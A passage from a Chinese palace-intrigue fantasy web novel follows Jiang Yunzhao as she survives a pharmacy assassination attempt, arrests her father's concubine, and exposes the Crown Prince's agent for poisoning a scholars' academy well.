梅柔卿为人一向谨慎,从不做无用之事,却在今日这种光景来药堂?说她来此看病抓药,可能吗!
就在她锐利的目光掠过墙角一个始终低垂着头、身形瘦小的药材师傅时,异变陡生!
那“药材师傅”猛地抬头,露出一双精光四射的凶戾眼睛,藏在袖中的右手骤然扬起——
一道淬着幽蓝寒光的分水峨眉刺,如同毒蛇出洞,带着刺骨的杀意,直取云昭咽喉!
快!狠!准!
这一下来得太过突然,距离又近,几乎避无可避!
“小心!”
千钧一发之际,原本躺在诊床上的苏惊澜,竟猛地睁开双眼,爆发出惊人的力量,整个人如同猎豹般弹起,不顾一切地将云昭扑向一侧!
“嗤啦——”
峨眉刺的尖端险之又险地擦着云昭的鬓角掠过,削断了几缕青丝,深深扎入她方才站立位置之后的药柜之上,尾端兀自颤动不已!
而云昭也在被扑倒的同一时间,手腕一抬。
“咻!”
袖中暗藏的**箭发出一声机括轻响。
一支短小精悍的袖箭以更快的速度破空而去,直取对方咽喉!
那袭击者显然没料到云昭在遇袭的瞬间竟能如此迅速地反击,更没料到苏惊澜会突然“苏醒”救人。
仓促间,他猛地偏头,袖箭擦着他的颧骨飞过,带起一溜血珠!
他心知已失先机,更惧云昭后续手段,竟毫不恋战,足下猛地一蹬,身形如大鹏般向后撞去!
“哗啦——!”
木屑纷飞,他竟直接撞破紧闭的窗户,落入外面街道的人流之中!
墨七反应极快,低喝一声,身影已如鬼魅般紧随其后穿窗而出!
直到此时,苏惊澜才闷哼一声。
他额头上沁出细密的冷汗,却仍强撑着心神,看向被自己护在身下的云昭,嘴角勉强扯出一个弧度:
“表妹……下次若再相见,或许可以选个不这么惊险的地方。”
一旁的楚大夫简直痛心疾首!
他一边着急忙慌地上前检查他背后的伤口,一边气得胡子直抖:
“胡闹!老夫才给你前胸的伤口包扎妥当!你这后背又来一道!这下好了!接下来大半个月,你就老老实实给我侧躺着吧!”
吓得魂飞魄散的朱掌柜被楚大夫这一嗓子叫回了魂,连滚带爬地冲向最近的药柜,手忙脚乱地翻找金疮药和干净纱布。
李副将大步上前,蒲扇般的大手毫不费力地将失血无力、几乎挂在云昭身上的苏惊澜“拎”起,平稳地放回床榻。
朱掌柜和楚大夫一前一后,已默契地上手,一齐将苏惊澜摁倒,当场处置伤口。
云昭甚至不及起身,便朝李副将厉声下令:“拿下门外那妇人!”
李副将身后两名将士闻令而动,不待门外之人反应,已如旋风般冲了出去。
不过瞬息之间,便将听到屋内动静、正欲悄悄溜走的梅柔卿如同拎小鸡般逮了回来,毫不怜香惜玉地掼在地上。
梅柔卿被结结实实摔在青砖地上,疼得她眼冒金星,头晕眼花。
她挣扎着抬起头,一看到云昭那张冷若冰霜的脸,新仇旧恨齐齐涌上心头,当即尖声叫道:“你——!”
她强自镇定,端起长辈的架子斥道,
“姜云昭!我好歹是你的庶母!你竟敢如此对我?你如今攀上高枝,就敢如此狂悖无礼,不怕天下人议论你仗着王妃身份,苛待庶母,毫无孝道吗?!”
云昭站起身,掸了掸衣袖上的灰尘,朝她一笑,眉眼间尽是煞气:“少在这里胡搅蛮缠!”
不待云昭开口,朱掌柜已忙不迭地抢上前,指着那破碎的窗口,又气又急地对着云昭拱手道:
“大人明鉴!方才逃走的那歹人,是小店年初刚请的药材先生,他自称叫薛九。
我见他精通药理,性子也沉稳老实,就让他专门负责帮铺子里清点、辨别名贵药材!小人、小人这真是造了什么孽啊!”
他捶胸顿足,一张胖脸皱成了苦瓜,“怎么一个两个的,都从我这回春堂里往外冒歹人!小人这、这简直是浑身是嘴也说不清了!”
楚大夫一边缠纱布,没好气地道:“还不是你贪便宜,一听人家干活儿多又要的工钱低,就忙不叠答应了!”
云昭见梅柔卿听到薛九这名字眼珠乱颤,寒声命道:“说!你今日鬼鬼祟祟出现在这回春堂,是来寻谁?!”
梅柔卿强自镇定道:“来药堂能干什么?自然是抓药了!心儿的脸被你打成那样,身上之前落下的毛病也没好,又痛又痒,难受得紧!我便来回春堂寻个大夫帮忙看看,有何不可!”
朱掌柜一心想要立功,闻声立即上前,细细打量梅柔卿一番,高声反驳:
“小的见
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过这位夫人好几回了!她每次来,都指名要找薛九!也从我们这儿抓过几回药,但方子小的都看过,不过是些治疗寻常伤风的药,绝无特殊之处!”
梅柔卿闻言,愈发尖声叫道:“戴先生是我同乡!我信不过你们回春堂里这些庸医,寻他问个药方,犯了哪条王法?”
云昭没时间在这里与她纠缠,她霍然转身,目光如炬看向白羡安:“白大人!情势紧急!今日你若想保住令妹性命,接下来一切需听我调度!”
白羡安早已将云昭视为救命稻草,方才又亲眼见识她的智勇与手段,毫不犹豫地深深一揖:“但凭司主吩咐!白某无有不从!”
“好!”云昭语速极快,条理清晰,“我们需分头行动!准备两辆马车!”
“第一辆车,由楚大夫陪同我表兄苏惊澜,劳烦楚大夫在车上即刻为他重新包扎处理伤口。李副将,你带两名好手随车护卫!”
“第二辆车,白大人,你亲自陪着令妹。我会派身边的哑婆随行。她是我的人,精通一些玄门手段,会依照我的吩咐,暂且施法稳住令妹的情况,护她心脉不失。”
她的目光转向试图挣扎的梅柔卿:“至于她——
李副将,派两个你最可靠的弟兄,一路‘护送’梅姨娘,跟我们一同前往竹山书院!”
不待云昭话音落下,身旁孙婆子已如鬼魅般上前,枯瘦的手指熟稔地在梅柔卿肩上一拍,落下一记定身咒。
梅柔卿顿觉力气尽失,瞬间软倒在地,连根手指都动弹不得。
转眼,两名士兵已利落地用随身携带的麻绳将她捆了个结结实实。
梅柔卿被拖拽起来,嘶声尖叫:“姜云昭!你胆敢如此折辱我!我好歹是尚书府的庶夫人!你让这些人一路押解游街,丢的是整个尚书府的脸面!你爹若是知道,定不会饶你!你……”
云昭已率先大步向门外走去,闻言头也不回:
“我那位父亲眼里,一向只有权势利益。他知道了又能怎样?除非你能证明,你比我这个未来的秦王妃更有价值。”
“这个道理,梅姨娘与他相守多年,难道还需要我来教?”
梅柔卿闻言目眦尽裂,她还想张口唾骂,身旁卫兵却已随手塞上一块破抹布,死死堵上她的嘴!
一行人依照云昭的安排迅速行动起来,两辆马车分别载着伤员与病人,在士兵的护卫下驶向书院。
云昭则与墨十七并骑。
“驾!”
马儿如同离弦之箭,朝着竹山书院的方向,逆着人流,疾驰而去!
第123章 姜府梅氏,献药有功!
梅柔卿被两名兵士一左一右架着胳膊,踉跄地走在京城最繁华的街道上。
她双手被粗糙的麻绳紧紧缚在身后,口中塞着一团看不出原本颜色的布巾,发髻散乱,珠钗歪斜,哪里还有半分平日里故作世家女子的优雅矜持?
这景象,放在熙攘的京城街头,不啻于一道惊雷,瞬间吸引了所有路人的目光。
“快看!那不是姜尚书家新纳的那位梅姨娘吗?”
“哎呦——还真是!前阵子姜家真假主母的官司闹得满城风雨,才消停几天,这又是唱的哪一出?”
“瞧这架势,是被官家拿了!她犯了什么事儿?”
人群如同潮水般涌来,指指点点,议论纷纷。
有那消息灵通的,立刻联想到了近日贵妇圈里隐秘流传的、关于忘尘阁那夜的荒唐事,再看梅柔卿时,眼神便带上了些嘲弄与鄙夷。
一位提着菜篮子的大娘撇撇嘴,声音洪亮,带着过来人的笃定:
“要我说,这好人家的女儿,哪有上赶着给人做妾的?就算迫于无奈走了这一步,也该安分守己。
偏她这样的,成日里在正室夫人和嫡出小姐面前兴风作浪,一看就不是个省油的灯!”
这话引得周遭一片附和。
更有那闲来无事的,菜也不买了,连家也不回了,兴致勃勃地跟在押解的队伍后面,俨然将这当成了难得一见的街头大戏。
押解梅柔卿的两名士兵,正是李副将麾下,上午才在姜府见识过这位梅姨娘的本事。此刻见她沦为阶下囚,脚下便故意放慢了速度,迈着四平八稳的步子,任由她被满街的目光凌迟。
梅柔卿何曾受过这等奇耻大辱?
她只觉脸上火辣辣的,可浑身酥软使不上力,连挣扎都不能;口中被塞得严实,连一句辩驳或咒骂都发不出。
羞愤、怨恨、绝望交织在一起,灼烧着她的五脏六腑,气得她双目赤红,几乎要滴出血来!
“哎呀!你们快看她的眼睛!红得吓人,跟要**似的!”
“这女人一看就心术不正!你们别忘了今早街头那些传言!说什么姜大小姐彻夜未归,攀附永熙王,结果呢?人家是得了陛下赐婚,风风光光要嫁入秦王府了!”
“没错!姜大小姐往后就是咱们的秦王妃了!”
秦王萧启在民间声望极高,他在贵女圈中“不近女色”的评价,在百姓看来,那叫洁身自好,品行高洁!
这样一位战功赫赫、品行端方的大英雄终于要娶王妃了,百姓们更是与有荣焉,议论得越发火热。
就在这喧闹达到顶点之时,一辆悬挂着宫徽的马车在尚书府门前停下。
姜绾心刚被宫人扶下车,映入眼帘的便是母亲被当众羞辱游街的这一幕!
几乎同时,尚书府的朱漆大门“吱呀”一声从内打开,姜世安显然也是听到门外喧嚣,皱着眉探出头出来查看。
“娘——!”姜绾心一见此景,顿时血冲脑门,也顾不得维持平日里娇弱的形象,对着护送她回来的两名亲卫厉声命令道:
“你们还愣着干什么?!没看见我娘被人欺辱吗?还不快让他们放人!”
那两名身着明光铠的宫廷禁卫对视一眼,面露难色,却不得不硬着头皮上前。
然而,押解梅柔卿的士兵却寸步不让,声音洪亮,清晰地传遍整条街:
“此人乃刺伤苏家二房公子苏惊澜的重要嫌犯!奉玄察司与大理寺之命押解!谁敢阻拦?!”
两位禁卫闻言,脚步一顿,迟疑地看向姜绾心,终究没敢强行插手。
姜绾心却已气急败坏地冲上前,一把拽掉塞在梅柔卿口中的布巾,对着四周尖声道:“胡说八道!我尚书府怎会出什么嫌犯!你们这是诬陷!”
其中一名押解士兵冷笑一声,不卑不亢:“姜二小姐若有异议,大可随我等前往竹山书院。此案由姜大小姐协同大理寺卿白大人、京兆府赵大人共同审理。”
“姜云昭?!”一听到这个名字,姜绾心眸中瞬间迸发出蚀骨的恨意。
她猛地抬手,从高耸的发髻间拔下一支九凤衔珠赤金步摇!那凤凰栩栩如生,凤口垂下的东珠圆润硕大,流转着皇家特有的威仪华光。
“太后娘娘亲赐九凤步摇在此!见此簪,如太后亲临!尔等还不跪下!”
姜绾心高举凤簪,一声娇叱,声震长街!
护送她回来的两名亲卫率先单膝跪地,垂首行礼。
紧接着,周围黑压压的百姓,虽不明就里,但听闻“太后”二字,见官军已跪,也呼啦啦跪倒一片。
姜绾心傲然立于跪倒的人群之中,声音带着扬眉吐气的快意:
“太后娘娘口谕,姜府梅氏,献药有功,深得圣心!特命其明日入宫伴驾!尔等还不速速放人!”
梅柔卿听到女儿这番话,看着女儿手持凤簪、震慑全场的威风模样,眼中瞬间涌上激动的水光,混合着方才**的泪水,簌簌落下。
她心中涌起一股难以言喻的欣慰与骄傲——
她多年的苦心栽培、精心谋划,终于没有白费!
她的心儿,真的长大了,懂得利用权势保护母亲了!她梅柔卿,终于要熬出头了!
一直缩在门边观望的姜世安,此刻也挺直了腰板,快步走了过来,官威十足地喝道:
“既是太后娘娘懿旨,还不快放人!简直无法无天!”
那两名押解士兵交换了一个眼神,其中一人抱拳,不卑不亢道:“姜尚书,此案牵涉朝廷命官**,干系重大,卑职等不敢擅专。”
两人迅速商议,一人留下,名为“护送”,实为监视梅柔卿,与之一同回府;
另一人则翻身上马,朝着竹山书院的方向疾驰而去,显然是去向云昭报信了。
梅柔卿一经松绑,立刻将手中的绳索狠狠摔在那留下的士兵脸上,淬了一口,咬牙切齿地骂道:
“瞎了你们的狗眼!也不掂量掂量自己几斤几两,敢来作践我!
也不看看我女儿是何等尊贵身份,将来又是何等造化!你们今日如此辱我,来日必叫你们好看!”
“好了好了,”姜世安忙揽住她的肩,温言劝慰,“卿卿,不跟这些粗人一般见识,快随为夫进府,好生歇息。”
姜家三人,在众目睽睽之下,相携着走回朱门高府,将一街的议论与目光关在门外。
跪了满街的百姓们这才纷纷起身,脸上表情各异,议论声再次嗡嗡响起:
“太后娘娘怎如此偏爱这姜二小姐,竟连九凤衔珠凤簪都赐给了她?”
“别忘了,当初姜二小姐那‘福星’的名头,最早就是从慈宁宫里传出来的!”
“唉,太后娘娘近年……怕是也有些老糊涂了,怎这般抬举一个妾室?”
“慎言!慎言!皇家之事,岂是我等小民可妄议的!”
眼见这突如其来的热闹戛然而止,大部分百姓意犹未尽地散去。
但仍有一些心思活络、嗅觉敏锐之人,记着方才士兵提到了“竹山书院”,互相使了个眼色,也悄悄朝着书院的方向跟了过去。
*
另一边,云昭与墨十七共乘一骑,刚到书院门口,便见太子仪仗停驻在门外。
云昭眸色微沉,与墨十七等人快速走进,一路穿廊过桥,最终来到藏书阁前。
只见偌大的空地上,数十名学子或倚或卧,面色青白:
有的蜷在竹影下捂着腹部呻吟,额间冷汗涔涔;有人扶着朱柱干呕不止,连襟袖沾染了污秽也顾不得;更有人虚脱地瘫在石阶上,唇瓣干裂得渗出血丝。
哀鸣之声此起彼伏,空气中弥漫着一股酸腐气味。
太子一袭淡黄缂丝云纹袍,玉冠束发,俨然一副温润君子模样。他正将青瓷药碗递到一学子唇边,声线放得极柔:“慢些饮下便好了。”
身后长案上,置着半人高的柏木药桶,一个约莫十五六岁的女冠少女执银勺而立,素白衣袂随风翻飞,舀药的动作行云流水。
不远处的高大梧桐树下,萧启负手而立。
几道身影簇拥在他身侧,其中坐在藤木椅上的中年男子尤为醒目——
此人约莫四十许,身着竹叶暗纹直裰,正是书院司库苏凌岳。
他生得清俊斯文,眉眼间与苏氏有五分神似,此刻他脸色惨白如纸,正低声对管事吩咐着什么。
萧启恰在此时抬眸,穿过纷乱人群精准捕捉到云昭的身影,眸色不由一亮。
太子也在同一时间瞧见云昭,施施然搁下药碗近前,唇角噙着意味不明的笑:
“姜大小姐怎也来了?还未恭贺姜小姐,即将成为孤的堂嫂。”
云昭神
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情淡淡,目光飞速扫过全场:“殿下消息灵通,不顾暑热,及时赶到施以援手,实在令人钦佩。”
太子面上笑得愈发温和:“听闻令堂与苏家断亲多年,姜小姐居然如此关心苏家,也是孤没想到的。”
萧启走上前,对云昭道:“说是井水出了问题。太子殿下身边带着的女冠精通药理,解了书院之围。”
云昭眼帘半垂,遮住眸中异色:这就是那幕后之人的目的?
将她困在回春堂,好让太子带人来书院,凑巧碰上这一场灾祸,好能顺势施恩拉拢?
太子目光凝在云昭冷淡却不失娇艳的脸上:
“孤来为姜小姐引荐。这位是从蓬莱请来的青芜姑娘,别看她年纪尚轻,于药理玄术颇有造诣。日后若有机会,你二人或许可以切磋一二。”
名唤青芜的少女应声上前:“久闻姜小姐通晓奇术,小女不过江湖野人,怎敢与您相提并论?”
这话听着就酸唧唧。
云昭淡淡一笑:“你确实不配与我相提并论。”
她不等对方反应,径直走向案几,素手轻抬掀开药桶,一股浓郁的草药气息扑面而来。
“藿香、佩兰、苍术……”云昭轻嗅片刻,指尖蘸取少许药液细细摩挲,佯装没有觉察不妥,“确实是解暑祛湿的方子,对于头晕呕吐之症倒是相宜。”
青芜闻言,眼底闪过一丝自得。
萧启将腰间水囊递过去:“这是我方才命人从书院水井汲上来的水。”
云昭解开水囊,命莺时打开药箱,取出一个干净空碗,将水倒了进去。
但见水质清澈,似与寻常井水无异,她凑近细嗅:“……腐草之毒。”
有学子忍不住上前:“这井水到底有何不妥?”
“腐草之毒,是什么意思?是有人故意下毒,还是……”
青芜抢白道:“想来是水井年久失修,井壁青苔滋生,或是地下水源被污秽之物渗透,这才酿成此祸。”
太子叹了口气,声音里满是痛惜:“孤听闻竹山书院这些年经营的艰难,想来若是经费充足,早日修缮水井,也不会让诸位学子遭此磨难。”
此言一出,在场诸多学子一时间神色各异。
跟在萧启身旁的苏凌岳则面色不豫。他正要开口辩解,就听身后响起一道苍老却洪亮的声音。
“这井水老夫吃了三十年,一直清甜甘冽。怎会老夫几日不在,就突然被污染?”
众人回头,只见苏文正在仆从的搀扶下缓步而来,虽腿脚不便,却依旧挺直脊背。
他的身后,跟着苏惊澜和苏惊墨一对双生子。
苏惊澜脊背伤处刚包扎好,脸色略显苍白,身旁还跟着眉头紧皱的楚大夫。
苏惊墨手上拎着一只竹箱笼,抬眼朝云昭看来时,眼睛里闪过一抹欣喜。
众人纷纷见礼。
太子更是快步上前,欲伸手搀扶:“苏老大人既腿脚不便,安心在家静养便是。大人放心,一切有孤在,必能保书院和学子们无恙。”
苏文正却微微侧身避开太子的手,目光落在云昭手中的水碗上:“今日之事,多谢太子殿下施以援手。”
他抬起视线,他目光在云昭脸上细细描摹,一双历经沧桑却依旧清明的眼睛里,流露出几分审视,几分难以言喻的欣慰——
今日他醒来之后,已听王氏和苏惊墨说起云昭及时救治之事。
这个素未谋面的外孙女,模样像极了年轻时的**,却比**更为聪慧坚毅,瞧着就不是轻易会被人唆摆的性子。
“不过,”苏文正声音陡然转沉,“竹山书院的井水,除了日常饮用,后厨洗菜做饭,都要用到。今日清早,我还让人用这水做了清凉糕和荷花酥,送给了京中相熟的亲友。若这水当真有问题——”
太子脸色微变,当即道:“苏大人放心,孤即刻派人前往各家追回,若真有人服食糕点,身子不妥……”
苏文正眸光微闪,朝着皇城的方向拱了拱手:“实不相瞒,其中一份,今日午后,老朽让家中孙儿送进了宫。若是陛下服食……”
此言一出,满堂皆惊!
太子更是脸色骤变:“什么?!”
云昭冷眼瞧着这一幕,唇角微勾。
她这个祖父,不仅眼睛够毒,心也够黑,还真是个有趣的人。
第124章 这老东西!
苏文正目光沉静地看向太子,苍老却清亮的声音在庭院中回荡:“老夫虽久不在朝堂,但始终记得,暑热天气,陛下最爱用一些口味清凉的糕点。
因而每年荷花盛开时节,都会让家人送一份清凉糕与荷花酥给圣上,以全故人之谊。”
太子原本还带着几分将信将疑的从容,待听到此节,握着折扇的指节猛地收紧,眸中惊诧之色几乎难以掩饰。
这老东西!
这些年未有一日入朝堂,甚至跟他那些弟子故旧也鲜少往来,把自己关在书院里闭门造车,想不到,私下竟然一直跟父皇保持往来?!
这实在是他万万没想到的!
云昭见状,适时开口敦促道:“殿下,事不宜迟,还请快些带青芜姑娘一同入宫,为陛下诊治吧!”
她话语恭敬,眼底却掠过一丝不易察觉的冷嘲。
太子脸色难看,薄唇紧抿,一时竟不知该如何开口。
苏文正见状,捋须道:“此事皆是由老夫而起。老夫偏爱这井水甘甜,没想到竟会突然出了问题。此事,还是由老夫与殿下一同入宫面圣,解释清楚。”
云昭悠悠开口,语气带着几分戏谑:“殿下怎的脸色如此难看?”她刻意顿了顿,引得众人注目,“莫不是也中了暑气?”
太子一时说不出话来。
他身后的青芜低垂着头,指尖微微发抖,眼珠慌乱地转动着。
就在这时,云昭忽然轻“咦”一声,俯身凑近水碗细看。
众人的目光立刻被她吸引。
“莺时,取清灵露和银丹草来。”
莺时连忙从药箱中取出这两样物件。
在众人注视下,云昭将清灵露撒入水中,又投入几片银丹草叶。令人惊奇的是,原本清澈的水竟渐渐泛起诡异的幽蓝色光泽,水面上还浮起细密的气泡。
“诸位请看,”云昭抬眸,目光如利刃般扫过太子与其身后的青芜,“这绝非普通的腐草之毒,而是有人故意投了与之极为相似的腐萤草之毒!”
“**?!”
人群中顿时一片哗然。
“是谁如此歹毒,竟在书院井中下毒?”
“这可是要断送我们所有人的前程啊!”
也有学子急着追问云昭:“那我们只喝了治疗暑热的药,岂不是根本不管用?”
一直静立一旁的楚大夫上前,为那名学子号脉。片刻后,他捋须道:“虽然脉象还有些虚弱,但已无碍。”
他又上前,舀起一勺汤药送入口中尝了尝,目光与云昭一碰,心下已是了然。
“这药配得精妙。”他如实道,“其中加了一味八角莲,确已解了这腐萤草之毒!”
须知书院的学子,个个都博览群书,脑子更是转得快。
其中一青衣学子当即指着青芜道:“毒就是你下的!否则,你怎会提前在汤药里配置解毒之物?”
学子们接二连三地道:
“不错!若非事先知晓是何**,又如何能对症下药?”
“她方才还故意污蔑,说水井老旧,才生腐草,分明是想让我们与书院离心!”
有学子目光如炬,睇向东宫:“殿下,此女居心叵测,还请严查!”
青芜毕竟只有十三四岁,此前一直听命于玉衡**,见此情形已彻底慌了神。
她下意识地看向太子:“殿下,我……”
就在这千钧一发之际,灵峰已先一步出手,一掌击在青芜后心!
可怜少女豆蔻年华,连叫一声都来不及,口喷鲜血,当场殒命!
在场一众学子无不骇然!
灵峰厉声道:“殿下,此女为了能在京城出名,在殿下面前立功,居然做下如此丧尽天良之事,实在令人发指!”
太子脸色阴沉得能滴出水来:“是孤失察,竟被这等宵小之辈蒙蔽。”
他转向苏文正与众人,深深一揖,“今日之事,是孤识人不明,险些让书院蒙受不白之冤。孤在此向山长和诸位学子赔罪。”
苏文正捋须道:“殿下仁德宽厚,礼贤下士。老夫相信,殿下必定
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是一时疏忽,才受了奸人蒙蔽。”
他又看向云昭,目光中带着赞许,“老夫听闻新任玄察使大人明察秋毫,医术独绝,今日一见,果然名不虚传,实乃朝廷之幸。”
太子皮笑肉不笑地道:“不错,今日多亏了姜小姐,否则,不知孤还要被这小人蒙蔽多久!”
苏文正神色一肃:“事不宜迟,还是先进宫,陛下那儿可耽搁不得。”
萧启适时开口:“此事关乎陛下安危,就让云昭陪太子一同入宫面圣,也好随时应变。”
太子忽然身形一晃,以手扶额:“孤突然觉得头晕……”
灵峰等人连忙上前搀扶,“殿下怕是中了暑气!快扶殿下回去歇息!”
在众人意味深长的目光中,太子一行匆匆离去。
待太子走远,苏文正收回视线,与云昭交换了一个心照不宣的眼神。
云昭轻声道:“苏山长算无遗策,这一招敲山震虎,实在高明。”
苏文正捋须微笑,压低声音:“糕点确实让墨儿送进了宫。只不过是老妻在家做的,并未用到书院的井水。”
虽是初次相见,云昭却忍不住与这位外祖父相视一笑。
云昭正色道:“先不说这些,井水被污染,毕竟是大事,书院一共几口水井,我先逐一检查过再说。”
她又对苏文正道:“可有安静的空房,需要一间急用。”她转向萧启,“白大人和妹妹就在外面马车,需要尽快接进来,我抽空为其诊治。”
又对楚大夫道:“劳烦您帮这些学子号脉检查,确保他们体内再无毒素残留。”
众人一时忙碌起来。
就在这时,一名卫兵快步跑进来,径直来到云昭面前禀报:“禀司主,未能顺利羁押梅氏!姜二姑娘说得了太后的令,宣梅氏明日进宫伴驾。”
云昭闻言,眸中闪过一抹冷厉的寒光。
“也好,稍后我亲自回家拿人。”她唇角勾起一抹冷笑,“只是要辛苦赵大人,夜审我家中这位梅姨娘了。”
第125章 你就不怕不得善终?
因着先前太子在书院惹出的风波,萧启与云昭短暂商议过后,决定分头行事,晚些时候再行汇合。
“带上那桶汤药。”萧启转身下令,“即刻进宫。”
他随即侧身看向侍立一旁的李副将,声音压低了几分:“你留守此地,务必护得王妃周全。”
李副将当即抱拳领命。
那腰杆挺得笔直如松,古铜色的面庞上泛起激动的红光,眼底闪烁着难以抑制的自豪与热切——
他可没忘了,自家妹子的冤魂是何人帮忙超度!
家中老娘得知真相那夜,颤巍巍地在祖宗牌位前焚香泣告,母子二人抱头痛哭,积压多年的悲愤与痛楚终于得以宣泄!
也正是从那一日起,他们一家才真正重整心情,要将日子好好过下去。
如今能追随在王妃身侧,不仅眼界大开,更能助她帮扶如他这般蒙冤受屈的寻常百姓。
这差使他干得浑身是劲,热血沸腾,丝毫不逊于当年随王爷在西北大漠浴血奋战、痛击蛮夷的峥嵘岁月!
侍卫们得令,利落地抬起那只柏木药桶,跟在萧启身后,一行人翻身上马,蹄声如雷,踏碎书院门前的静谧,朝着皇宫方向疾驰而去。
藏在书院大门外槐树上的探子见状,暗骂一声“晦气”,如狸猫般轻盈落地,抄近路疾奔东宫报信。
太子临走前曾特意叮嘱:若离开书院的是姜云昭或苏文正,务必跟上,沿途设法阻拦拖延。
太子称病匆匆离去,就是不敢在这个节骨眼上入宫,却也不想让姜云昭或苏家人顺利进宫面圣。
他记得青芜说过,玉衡**曾告知,腐萤草虽有毒,却不致命。
那些书生是直接饮用了井水制成的凉茶才会腹痛呕吐,而糕点中的水分含量极少,即便毒发也不该太严重。
太子甚至希望苏文正干脆也别进宫!
这样即便今上真有什么不适,以太医院的医术,一剂温中补胃的汤药便可化解。
让这件事大事化小,小事化了,不论是对他还是对苏家,岂不是双赢的局面?
更何况,父皇未必会碰那碟糕点——
每日往御前送点心的妃嫔那么多,一碟普普通通的清凉糕,说不定早就被遗忘在某个角落。
可太子失算了。
因为进宫的人既不是云昭,也不是苏文正或苏惊墨,竟是秦王萧启!
秦王的马,谁敢拦?满京城谁人不知这位爷在漠北战场上的威名?那可是在马背上征战多年的煞神!
敢给秦王的马使绊子,岂不是嫌命太长?
探子很惜命,故而一路狂奔回东宫,将此事禀报给正在用膳的太子。
“啪嚓——”
太子手中的青玉镶金筷应声而断,碎玉溅落在珍馐之间。
自从书院回来,他越琢磨,心里越不是滋味。
自从五年前玉衡**跟在他身边,可谓算无遗策,从未失手!这一次怎会出如此大的纰漏?!方才灵峰一掌毙了那青芜,也算是给玉衡**一个教训。
此刻听说竟是萧启独自进宫,连姜云昭都没陪着,而且还带走了青芜配制的解药,太子气得直接摔了筷子。
“萧启何时变得如此诡计多端!”
太子猛地起身,在殿内来回踱步,淡黄袍袖甩得猎猎作响,“父皇还总夸他赤子之心?分明是只老狐狸!”
他忽然顿住脚步,咬牙切齿:“必定是姜云昭给他出的馊主意!”
想到那柏木药桶,太子的肠子都要悔青了。
今日为了在苏文正和书院学子面前彰显仁德,他特意命人从东宫库房取了这只上好的柏木桶。
那桶身靠近底部的地方,还清晰地刻着东宫的印记!
这要是往御前一摆,谁还不知道今日书院之事与他有关?
更别提他那个老谋深算的父皇,因为贵妃的事,近来本就对他颇有成见,若是让萧启把今日之事和盘托出……
太子激灵灵打了个寒战,冷汗瞬间浸湿了里衣。
他不能赌!
“摆驾!即刻进宫!”太子猛地起身,连身上的常服都顾不上更换,急匆匆就要往外走。
此刻他真是悔不当初——
早知如此,还不如拽上苏文正一同入宫,至少不至于像现在这般被动!
他越想越气,萧启这一招当真够不要脸的!
就在太子焦头烂额之际,他口中那个“狡诈多端、尽给萧启出馊主意”的云昭,正安然坐在书院膳堂里,手执羹匙品尝着一道清爽的荷叶粥。
方才她已迅速检查过书院之中的四口井水——
分别是位于藏书阁前的“文渊井”,膳堂旁的“甘露井”,学子寝舍边的“清心井”,以及后山菜园旁的“洗尘井”。
只见她取来四个白瓷碗,分别盛入各井之水,放入清灵露并几片银丹草。但见文渊井和清心井的水瞬间泛起诡异的幽蓝色,而另外两井的水却依旧清澈。
云昭自随身药箱取出黄纸,以朱砂笔飞快绘制。笔走龙蛇间,一道道符文跃然纸上,隐隐泛着金光。
“将此符投入文渊井和清心井,待一炷香后便可净化水质。”云昭将两道符箓交给书院管事。
“胡闹!”苏凌岳忍不住上前一步,面露不悦,“我等读书人,岂能信这等怪力乱神之说?”
围观的学子们也面面相觑,看向云昭的目光更是透出几分审慎与迟疑。
方才听这位姜家小姐检验井水,一切都在药理范围内,包括她用药物检验井水,也是可以理解的。
此刻却突然转为使用符箓净化井水,实在令人难以信服。
学子们平日里多在书院读书,尤其今年陛下加了恩科,更是夙兴夜寐用心苦读,可谓两耳不闻窗外事。对于京中盛传的"小医仙"的事迹,知道的并不怎么多。
守在一旁的楚大夫却兴致勃勃地看着。
待云昭将绘制好的“澄明符”投入井中,他等了片刻,便主动抓起一旁木桶放下去,提了一桶新水上来。
他先是仔细闻了闻,随即取来几片银丹草叶投入水中。
这银丹草在书院后墙根处随处可见,本是极普通的草药,却能与腐萤草毒产生特殊反应。
令人惊奇的是,这一次银丹草叶在水中安然无恙,再无先前那般剧烈反应。
“奇哉!”楚大夫忍不住击节赞叹,朝云昭郑重拱手,“久闻姜大小姐医术通玄,老夫今日总算见识了,佩服!”
对于楚大夫这种真心钻研医术之人,云昭也不藏私:
“老先生过誉。医玄本是一家,您若感兴趣,可寻《云笈七签》中的‘丹药要诀’篇,或是《千金翼方》末卷的‘祝由科’一观。”
楚大夫连忙记下,又对云昭道:“司主若是不嫌老夫愚钝,老夫厚颜,想去府上请教医术……”
陛下今日清早才颁布圣旨,故而城中许多百姓,还不知昭明阁与玄察司的具体所在。
“楚大夫不必自谦。”云昭温声道,“若想切磋医术,稍后可到城北昭明阁寻我。”
听着二人对话,书院师生这才渐渐信服,只是看向云昭的目光仍带着几分好奇与探究。
苏凌岳更是面露疑色,目光在楚大夫与云昭之间来回打量。
苏惊墨见状,连忙将他拉到一旁,低声道:“大伯难道忘了,今日清早祖父被送回家中时是何等情形?”
他细细讲述了今早云昭如何在苏府查出不妥,又运用府中芭蕉叶等物去除苏文正腿上尸蠊卵的经过。
苏凌岳听得面色数变,气息几度起伏。
他本就耳根子软,此刻听苏惊墨一说,当即懊恼道:“家中出了这样大的事,你也不及时告知于我,早知道……”
他匆忙转身欲寻云昭,却见她已在苏文正和苏惊澜的引领下,往书院膳堂去了。
膳堂里,云昭一边抓紧用膳,心中已在盘算着接下来的诸般安排。手头每一件事都关乎人命,不容有失!而她当下,最缺的就是时间!
苏文正将她的焦灼尽收眼底。
这位须发皆白的老者历经三朝沉浮,虽对突然出现的外孙女充满好奇,但他更懂得审时度势,将满腹疑问暂且压下,只想尽力辅佐云昭完成眼前要事。
他温声开口,声音如陈年醇酒:“可有什么我等能帮上忙的地方?”
这话问得极有分寸,既表关切,又不越界。
云昭抬眼,目光轻扫整间膳堂,但见学子们大多专注用膳,却也有不少人时不时朝她投来探究的目光。
她唇角微扬,语带深意:“苏山长还是先忙一忙书院的家务事吧。”
苏文正眸光一闪,立时领会了她的意思。
他轻叹一声:“书院共有师生三百七十六名,眼下秋
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闱在即,若此刻大动干戈,只怕寒了学子们十年苦读的心……”
“米缸里掉进老鼠,难道要眼睁睁看着它糟蹋粮食?”云昭放下竹箸,声音清冷,
“若这老鼠不仅自己吃,还引来外人,往这米缸里**呢?”
这话如一块巨石砸进平静湖面,不仅苏文正神色一凛,连苏凌岳和双生子都倏然抬头,目光灼灼地盯住她。
苏凌岳眉头紧锁:“你这是什么意思?莫不是在质疑我们书院的师生?”
“难道还能是外人所做不成?”云昭反问。
苏凌岳一时语塞。
